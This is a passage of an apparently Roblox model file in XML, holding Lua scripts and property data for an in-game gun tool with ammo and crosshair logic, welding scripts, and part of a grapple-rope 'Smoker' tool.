&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5455">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5456">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
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							<R01>-1.0546588e-007</R01>
							<R02>-0.155916348</R02>
							<R10>1.0915128e-007</R10>
							<R11>1</R11>
							<R12>1.50754254e-008</R12>
							<R20>0.155916348</R20>
							<R21>-3.19095257e-008</R21>
							<R22>0.987770259</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.987770259</R00>
							<R01>-1.0546588e-007</R01>
							<R02>-0.155916348</R02>
							<R10>1.0915128e-007</R10>
							<R11>1</R11>
							<R12>1.50754254e-008</R12>
							<R20>0.155916348</R20>
							<R21>-3.19095257e-008</R21>
							<R22>0.987770259</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX5470</Ref>
						<Ref name="Part1">RBX5470</Ref>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5522">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.987770259</R00>
							<R01>-1.0546588e-007</R01>
							<R02>-0.155916348</R02>
							<R10>1.0915128e-007</R10>
							<R11>1</R11>
							<R12>1.50754254e-008</R12>
							<R20>0.155916348</R20>
							<R21>-3.19095257e-008</R21>
							<R22>0.987770259</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>0.987770259</R00>
							<R01>-1.0546588e-007</R01>
							<R02>-0.155916348</R02>
							<R10>1.0915128e-007</R10>
							<R11>1</R11>
							<R12>1.50754254e-008</R12>
							<R20>0.155916348</R20>
							<R21>-3.19095257e-008</R21>
							<R22>0.987770259</R22>
						</CoordinateFrame>
						<string name="Name">Weld</string>
						<Ref name="Part0">RBX5470</Ref>
						<Ref name="Part1">RBX5470</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX5489">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>29.3429871</X>
						<Y>16.7670002</Y>
						<Z>21.5240002</Z>
						<R00>-0.967475414</R00>
						<R01>0.252949595</R01>
						<R02>4.17232513e-007</R02>
						<R10>0.00232887268</R10>
						<R11>0.00890779495</R11>
						<R12>0.999955595</R12>
						<R20>0.252938867</R20>
						<R21>0.967436373</R21>
						<R22>-0.00920331478</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">2</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>3</X>
						<Y>0.400000006</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
				<Item class="BlockMesh" referent="RBX5523">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>-0.100000001</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0.100000001</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5524">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5525">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5526">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5527">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>1.5</X>
					<Y>-0.800000012</Y>
					<Z>-1.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Smoker</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126960472</url></Content>
				<string name="ToolTip"></string>
			</Properties>
			<Item class="Part" referent="RBX5528">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-4.70089674</X>
						<Y>4.28999996</Y>
						<Z>-50.2788696</Z>
						<R00>0.974819541</R00>
						<R01>0.000177565569</R01>
						<R02>-0.222995415</R02>
						<R10>4.49852462e-022</R10>
						<R11>0.999999642</R11>
						<R12>0.000796274282</R12>
						<R20>0.22299546</R20>
						<R21>-0.000776223838</R21>
						<R22>0.974819303</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">1</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>0.200000003</Y>
						<Z>0.200000003</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5529">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=25954372</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5530">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=89987774</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset/?id=89987914</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="RotateP" referent="RBX5531">
				<Properties>
					<float name="BaseAngle">0.25</float>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
				</Properties>
			</Item>
			<Item class="SpecialMesh" referent="RBX5532">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">0</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>0.5</X>
						<Y>1</Y>
						<Z>0.5</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5533">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>134.469635</X>
						<Y>5.54355812</Y>
						<Z>-143.570236</Z>
						<R00>-0.0277467966</R00>
						<R01>-0.0222817622</R01>
						<R02>-0.999366641</R02>
						<R10>-9.31322575e-010</R10>
						<R11>0.999751568</R11>
						<R12>-0.0222903453</R12>
						<R20>0.999614954</R20>
						<R21>-0.000618483871</R21>
						<R22>-0.0277398825</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>137</X>
						<Y>5.59999657</Y>
						<Z>-143.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5534">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Smoker</string>
					<ProtectedString name="Source">--Edited by QS

local maxDistance = 100
local canFireWhileGrappling = false


local Tool = script.Parent;
local torso = nil
local human = nil
local bolt = nil
local targetPos = Vector3.new(0,0,0)
local boltconnect = nil
local holdweld = nil

local defaultPos = Vector3.new(0,-.09,1.1)
local adjustedPos = Vector3.new(0,0,.605)

local rope = Instance.new(&quot;Part&quot;)
rope.BrickColor = BrickColor.new(&quot;Bright red&quot;)
rope.TopSurface = 0
rope.BottomSurface = 0
rope.formFactor = &quot;Symmetric&quot;
rope.Name = &quot;Rope&quot;
rope.CanCollide = false
rope.Anchored = true
local mesh = Instance.new(&quot;CylinderMesh&quot;)
mesh.Parent = rope
mesh.Scale = Vector3.new(0.15,1,0.15)

local RetractionSpeed = 125
local StartDistance = 100

local PlayerBodyVelocity = Instance.new(&quot;BodyVelocity&quot;)
PlayerBodyVelocity.maxForce = Vector3.new(1e+006, 1e+006, 1e+006)
local ObjectBodyVelocity = Instance.new(&quot;BodyVelocity&quot;)
ObjectBodyVelocity.maxForce = Vector3.new(1000,1000,1000) --force necessary to forcefully grab a player

local bodyPos = Instance.new(&quot;BodyPosition&quot;)
bodyPos.D = 1e+003
bodyPos.P = 3e+003
bodyPos.maxForce = Vector3.new(1e+006, 1e+006, 1e+006)

local bodyGyro = Instance.new(&quot;BodyGyro&quot;)
bodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)

function BreakRope()
&#9;script.Parent.Parent.Torso.Anchored = false
&#9;if human then
&#9;&#9;human.Sit = false
&#9;end
&#9;rope.Parent = nil
&#9;if PlayerBodyVelocity then PlayerBodyVelocity.Parent = nil end
&#9;if ObjectBodyVelocity then ObjectBodyVelocity.Parent = nil end
&#9;bodyGyro.Parent = nil
&#9;if bolt ~= nil then
&#9;&#9;bolt.Parent = nil
&#9;end
&#9;if holdweld ~= nil then
&#9;&#9;holdweld.Parent = nil
&#9;end
&#9;holdweld = nil
&#9;bolt = nil
&#9;Tool.Handle.Mesh.MeshId = &quot;http://www.roblox.com/asset/?id=89987774&quot;
&#9;
&#9;wait(.45)
&#9;if bolt == nil then
&#9;&#9;bodyGyro.Parent = nil --keep the gyro a little longer so retracted object doesnt ragdoll player
&#9;end
&#9;--script.Parent.Bolt.Transparency =  0
end

function adjustRope()
&#9;if bolt and torso then
&#9;&#9;if (torso.Position - bolt.Position).magnitude &gt; maxDistance then BreakRope() end
&#9;end
&#9;if rope.Parent == nil  or bolt == nil then return end
&#9;local pos1 = Tool.Handle.Position + Tool.Handle.CFrame.lookVector*.7
&#9;local pos2 = bolt.Position
&#9;rope.Size = Vector3.new(0, 1, 0)
&#9;rope.Mesh.Scale = Vector3.new(0.1, (pos1-pos2).magnitude, 0.1)
&#9;rope.CFrame = CFrame.new((pos1 + pos2)/2, pos2) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0)
end

function updateVelocities()
&#9;if bolt and torso and ObjectBodyVelocity then 
&#9;&#9;local grappleVector = (torso.Position - bolt.Position)
&#9;&#9;if grappleVector.magnitude &gt; maxDistance then 
&#9;&#9;&#9;BreakRope()
&#9;&#9;&#9;return
&#9;&#9;end
&#9;&#9;if bolt.Velocity.magnitude &lt; 3 and -1* torso.Velocity:Dot(grappleVector.unit) &lt; 5 and grappleVector.magnitude &lt; .75 * StartDistance then&#9;
&#9;&#9;&#9;print(&quot;hop up&quot;)
&#9;&#9;&#9;PlayerBodyVelocity.velocity = PlayerBodyVelocity.velocity + Vector3.new(0,20,0)
&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;BreakRope()
&#9;&#9;&#9;return
&#9;&#9;end
&#9;&#9;if grappleVector.magnitude &lt; 3.5 then
&#9;&#9;&#9;print(&quot;grapple end&quot;)
&#9;&#9;&#9;wait(.20)
&#9;&#9;&#9;BreakRope()
&#9;&#9;&#9;return
&#9;&#9;else
&#9;&#9;&#9;ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
&#9;&#9;&#9;local boltRetraction = math.max(grappleVector.unit:Dot(bolt.Velocity),0) --no negative speed
&#9;&#9;&#9;local playerSpeed = math.max(0, RetractionSpeed - 5 - boltRetraction)
&#9;&#9;&#9;if playerSpeed == 0 then 
&#9;&#9;&#9;&#9;PlayerBodyVelocity.Parent = nil 
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;PlayerBodyVelocity.Parent = torso
&#9;&#9;&#9;&#9;PlayerBodyVelocity.velocity = grappleVector.unit * playerSpeed * -1
&#9;&#9;&#9;end
&#9;&#9;end
&#9;else
